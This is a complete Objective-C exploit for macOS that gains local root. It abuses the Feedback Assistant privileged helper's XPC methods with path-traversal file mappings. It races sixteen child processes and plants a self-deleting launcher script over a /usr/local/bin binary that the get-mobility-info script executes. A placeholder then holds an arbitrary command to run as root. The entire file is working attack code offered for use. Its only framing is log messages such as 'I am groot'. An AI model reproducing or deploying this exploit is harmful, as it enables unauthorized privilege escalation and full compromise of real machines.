#import <Foundation/Foundation.h>

#include <notify.h>
#include <spawn.h>
#include <sys/stat.h>

#define USR_LOCAL_BIN "/usr/local/bin"
#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant"

#define MOBILITY_SCRIPT                                                                                                \
  "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"
#define NOTIFY_NAME "me.chichou.fbaroot"

#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "\n", ##__VA_ARGS__)

char payload_cmd[1024] = "ROOT_PAYLOAD_PLACEHOLDER";

#define SHELL_TEMPLATE                                                                                                 \
  @"#!/bin/sh\n"                                                                                                       \
   "%@\n"                                                                                                              \
   "%@\n"                                                                                                              \
   "rm -- \"$0\"\n"

@protocol FBAPrivilegedDaemon <NSObject>
- (void)copyLogFiles:(NSDictionary *)mapping;
- (void)runMobilityReportWithDestination:(NSURL *)dest;
@end

extern char **environ;

void child(const char *path, int stage) {
  NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]];
  NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
                                                                         options:NSXPCConnectionPrivileged];
  connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
  [connection resume];
  id remote = connection.remoteObjectProxy;
  if (stage == 1)
    [remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]];

  else if (stage == 2)
    [remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/whatever.mdsdiagnostic"]];

  char target_binary[] = BINARY;
  char *target_argv[] = {target_binary, NULL};
  posix_spawnattr_t attr;
  posix_spawnattr_init(&attr);
  short flags;
  posix_spawnattr_getflags(&attr, &flags);
  flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
  posix_spawnattr_setflags(&attr, flags);
  posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

NSString *relative(NSString *component) {
  return [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:component];
}

NSMutableDictionary *traversal(NSDictionary *mapping) {
  NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];
  for (NSString *key in mapping) {
    NSString *val = mapping[key];
    NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key];
    NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
    transformed[newKey] = newVal;
  }
  return transformed;
}

NSDictionary *prepare() {
  NSError *err = nil;
  NSFileManager *mgr = [NSFileManager defaultManager];
  NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString];
  NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid];
  [mgr removeItemAtPath:cwd error:nil];

  NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"];
  [mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err];

  // argument for copyLogFiles:
  NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init];

  // write launcher
  NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"];

  NSString *payload = [NSString stringWithCString:payload_cmd encoding:NSASCIIStringEncoding];
  NSString *exec = [[NSBundle mainBundle] executablePath];
  NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec, payload];
  [sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err];
  // LOG(@"%@\n%@", sh, err);

  // find /usr/local/bin/*
  NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err];
  NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \\[ -x /usr/local/bin/(\\w+)"
                                                                         options:NSRegularExpressionCaseInsensitive
                                                                           error:&err];
  NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])];
  if (!match) {
    LOG("Fatal error: this exploit may not work on your system.");
    return nil;
  }

  NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]];
  NSString *canary = [@USR_LOCAL_BIN stringByAppendingPathComponent:privileged];

  LOG("canary: %@", canary);

  BOOL isDir = NO;
  BOOL doesBrewExists = [mgr fileExistsAtPath:@USR_LOCAL_BIN isDirectory:&isDir];
  if (doesBrewExists && isDir) {
    mapping[launcher] = canary;
  } else {
    mapping[fakebin] = @USR_LOCAL_BIN;
  }

  NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"];
  NSDictionary *transformed = traversal(mapping);
  [transformed writeToFile:session atomically:NO];
  LOG("dictionary: %@", transformed);
  return @{@"session" : session, @"canary" : canary};
}

#define RACE_COUNT 16

#define SPAWN_CHILDREN(stage)                                                                                          \
  for (int i = 0; i < RACE_COUNT; i++)                                                                                 \
    processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];

#define TERMINATE_CHILDREN                                                                                             \
  for (int i = 0; i < RACE_COUNT; i++)                                                                                 \
    [processes[i] terminate];

int exploit(NSString *session, const char *canary) {
  int status = 0;
  NSString *exec = [[NSBundle mainBundle] executablePath];
  NSTask *processes[RACE_COUNT];

  LOG("Now race");
  SPAWN_CHILDREN(1);

  int i = 0;
  struct timespec ts = {
      .tv_sec = 0,
      .tv_nsec = 500 * 1000000,
  };

  while (access(canary, F_OK) == -1) {
    nanosleep(&ts, NULL);
    if (++i > 4) { // wait for 2 seconds at most
      LOG("Stage 1 timed out, retry");
      status = -1;
      goto cleanup;
    }
  }

  chmod(canary, 0777);

  LOG("Stage 1 succeed");
  dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
  int token;
  notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),
                           ^(int token) {
                             LOG("It works!");
                             dispatch_semaphore_signal(semaphore);
                             notify_cancel(token);
                           });
  SPAWN_CHILDREN(2);

  // wait for 2s
  dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC);
  status = dispatch_semaphore_wait(semaphore, timeout);
  if (status != 0)
    LOG("Timed out");

cleanup:
  TERMINATE_CHILDREN
  return status;
}

int root() {
  notify_post(NOTIFY_NAME);
  LOG("I am groot (euid: %d)", geteuid());
  LOG("bye");
  return 0;
}

int main(int argc, char *argv[]) {
  @autoreleasepool {
    if (geteuid()) {
      if (argc == 3) {
        child(argv[1], atoi(argv[2]));
        return 0;
      }

      NSDictionary *ctx = prepare();
      if (!ctx)
        return 1;

      for (int i = 0; i < 3; i++) {
        if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0)
          return 0;
      }

      LOG("all tries failed");
      return 1;
    } else {
      return root();
    }
  }
}